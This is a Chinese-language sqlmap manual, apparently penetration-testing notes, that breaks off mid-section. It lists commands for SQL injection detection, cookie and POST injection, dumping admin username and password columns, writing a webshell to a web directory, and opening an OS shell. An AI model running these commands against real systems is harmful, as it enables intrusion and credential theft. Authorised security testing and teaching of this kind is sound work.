您好,欢迎访问三七文档
当前位置:首页 > 商业/管理/HR > 信息化管理 > SQLMAP使用手册
sqlmap也是渗透中常用的一个注入工具,其实在注入工具方面,一个sqlmap就足够用了,只要你用的熟,秒杀各种工具,只是一个便捷性问题,sql注入另一方面就是手工党了,这个就另当别论了。今天把我一直以来整理的sqlmap笔记发布上来供大家参考。sqlmap简介sqlmap支持五种不同的注入模式:1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。4、联合查询注入,可以使用union的情况下的注入。5、堆查询注入,可以同时执行多条语句的执行时的注入。sqlmap支持的数据库有MySQL,Oracle,PostgreSQL,MicrosoftSQLServer,MicrosoftAccess,IBMDB2,SQLite,Firebird,Sybase和SAPMaxDB检测注入基本格式sqlmap-u“=1″默认使用level1检测全部数据库类型sqlmap-u“=1″–dbmsmysql–level3指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)跟随302跳转当注入页面错误的时候,自动跳转到另一个页面的时候需要跟随302,当注入错误的时候,先报错再跳转的时候,不需要跟随302。目的就是:要追踪到错误信息。cookie注入当程序有防get注入的时候,可以使用cookie注入sqlmap-u“”–cookie“id=11″–level2(只有level达到2才会检测cookie)从post数据包中注入可以使用burpsuite或者temperdata等工具来抓取post包sqlmap-r“c:\tools\request.txt”-p“username”–dbmsmysql指定username参数注入成功后获取数据库基本信息sqlmap-u“=1″–dbmsmysql–level3–dbs查询有哪些数据库sqlmap-u“=1″–dbmsmysql–level3-Dtest–tables查询test数据库中有哪些表sqlmap-u“=1″–dbmsmysql–level3-Dtest-Tadmin–columns查询test数据库中admin表有哪些字段sqlmap-u“=1″–dbmsmysql–level3-Dtest-Tadmin-C“username,password”–dumpdump出字段username与password中的数据其他命令参考下面从数据库中搜索字段sqlmap-r“c:\tools\request.txt”–dbmsmysql-Ddedecms–search-Cadmin,password在dedecms数据库中搜索字段admin或者password。读取与写入文件首先找需要网站的物理路径,其次需要有可写或可读权限。–file-read=RFILE从后端的数据库管理系统文件系统读取文件(物理路径)–file-write=WFILE编辑后端的数据库管理系统文件系统上的本地文件(mssqlxp_shell)–file-dest=DFILE后端的数据库管理系统写入文件的绝对路径#示例:sqlmap-r“c:\request.txt”-pid–dbmsmysql–file-dest“e:\php\htdocs\dvwa\inc\include\1.php”–file-write“f:\webshell\1112.php”使用shell命令:sqlmap-r“c:\tools\request.txt”-pid–dmsmysql–os-shell接下来指定网站可写目录:“E:\php\htdocs\dvwa”#注:mysql不支持列目录,仅支持读取单个文件。sqlserver可以列目录,不能读写文件,但需要一个(xp_dirtree函数)sqlmap详细命令:–is-dba当前用户权限(是否为root权限)–dbs所有数据库–current-db网站当前数据库–users所有数据库用户–current-user当前数据库用户–random-agent构造随机user-agent–passwords数据库密码–proxy–threads10(可以自定义线程加速)代理–time-sec=TIMESECDBMS响应的延迟时间(默认为5秒)——————————————————————————————————Options(选项):–version显示程序的版本号并退出-h,–help显示此帮助消息并退出-vVERBOSE详细级别:0-6(默认为1)Target(目标):以下至少需要设置其中一个选项,设置目标URL。-dDIRECT直接连接到数据库。-uURL,–url=URL目标URL。-lLIST从Burp或WebScarab代理的日志中解析目标。-rREQUESTFILE从一个文件中载入HTTP请求。-gGOOGLEDORK处理Googledork的结果作为目标URL。-cCONFIGFILE从INI配置文件中加载选项。Request(请求):这些选项可以用来指定如何连接到目标URL。–data=DATA通过POST发送的数据字符串–cookie=COOKIEHTTPCookie头–cookie-urlencodeURL编码生成的cookie注入–drop-set-cookie忽略响应的Set–Cookie头信息–user-agent=AGENT指定HTTPUser–Agent头–random-agent使用随机选定的HTTPUser–Agent头–referer=REFERER指定HTTPReferer头–headers=HEADERS换行分开,加入其他的HTTP头–auth-type=ATYPEHTTP身份验证类型(基本,摘要或NTLM)(Basic,DigestorNTLM)–auth-cred=ACREDHTTP身份验证凭据(用户名:密码)–auth-cert=ACERTHTTP认证证书(key_file,cert_file)–proxy=PROXY使用HTTP代理连接到目标URL–proxy-cred=PCREDHTTP代理身份验证凭据(用户名:密码)–ignore-proxy忽略系统默认的HTTP代理–delay=DELAY在每个HTTP请求之间的延迟时间,单位为秒–timeout=TIMEOUT等待连接超时的时间(默认为30秒)–retries=RETRIES连接超时后重新连接的时间(默认3)–scope=SCOPE从所提供的代理日志中过滤器目标的正则表达式–safe-url=SAFURL在测试过程中经常访问的url地址–safe-freq=SAFREQ两次访问之间测试请求,给出安全的URLEnumeration(枚举):这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己的SQL语句。-b,–banner检索数据库管理系统的标识–current-user检索数据库管理系统当前用户–current-db检索数据库管理系统当前数据库–is-dba检测DBMS当前用户是否DBA–users枚举数据库管理系统用户–passwords枚举数据库管理系统用户密码哈希–privileges枚举数据库管理系统用户的权限–roles枚举数据库管理系统用户的角色–dbs枚举数据库管理系统数据库-DDBname要进行枚举的指定数据库名-TTBLname要进行枚举的指定数据库表(如:-Ttablename–columns)–tables枚举的DBMS数据库中的表–columns枚举DBMS数据库表列–dump转储数据库管理系统的数据库中的表项–dump-all转储所有的DBMS数据库表中的条目–search搜索列(S),表(S)和/或数据库名称(S)-CCOL要进行枚举的数据库列-UUSER用来进行枚举的数据库用户–exclude-sysdbs枚举表时排除系统数据库–start=LIMITSTART第一个查询输出进入检索–stop=LIMITSTOP最后查询的输出进入检索–first=FIRSTCHAR第一个查询输出字的字符检索–last=LASTCHAR最后查询的输出字字符检索–sql-query=QUERY要执行的SQL语句–sql-shell提示交互式SQL的shellOptimization(优化):这些选项可用于优化SqlMap的性能。-o开启所有优化开关–predict-output预测常见的查询输出–keep-alive使用持久的HTTP(S)连接–null-connection从没有实际的HTTP响应体中检索页面长度–threads=THREADS最大的HTTP(S)请求并发量(默认为1)Injection(注入):这些选项可以用来指定测试哪些参数,提供自定义的注入payloads和可选篡改脚本。-pTESTPARAMETER可测试的参数(S)–dbms=DBMS强制后端的DBMS为此值–os=OS强制后端的DBMS操作系统为这个值–prefix=PREFIX注入payload字符串前缀–suffix=SUFFIX注入payload字符串后缀–tamper=TAMPER使用给定的脚本(S)篡改注入数据Detection(检测):这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。–level=LEVEL执行测试的等级(1-5,默认为1)–risk=RISK执行测试的风险(0-3,默认为1)–string=STRING查询时有效时在页面匹配字符串–regexp=REGEXP查询时有效时在页面匹配正则表达式–text-only仅基于在文本内容比较网页Techniques(技巧):这些选项可用于调整具体的SQL注入测试。–technique=TECHSQL注入技术测试(默认BEUST)–time-sec=TIMESECDBMS响应的延迟时间(默认为5秒)–union-cols=UCOLS定列范围用于测试UNION查询注入–union-char=UCHAR用于暴力猜解列数的字符Fingerprint(指纹):-f,–fingerprint执行检查广泛的DBMS版本指纹Bruteforce(蛮力):这些选项可以被用来运行蛮力检查。–common-tables检查存在共同表–common-columns检查存在共同列User-definedfunctioninjection(用户自定义函数注入):这些选项可以用来创建用户自定义函数。–udf-inject注入用户自定义函数–shared-lib=SHLIB共享库的本地路径Filesystemaccess(访问文件系统):这些选项可以被用来访问后端数据库管理系统的底层文件系统。–file-read=RFILE从后端的数据库管理系统文件系统读取文件–file-write=WFILE编辑后端的数据库管理系统文件系统上的本地文件–file-dest=DFILE后端的数据库管理系统写入文件的绝对路径Operatingsystemaccess(操作系统
本文标题:SQLMAP使用手册
链接地址:https://www.777doc.com/doc-2063059 .html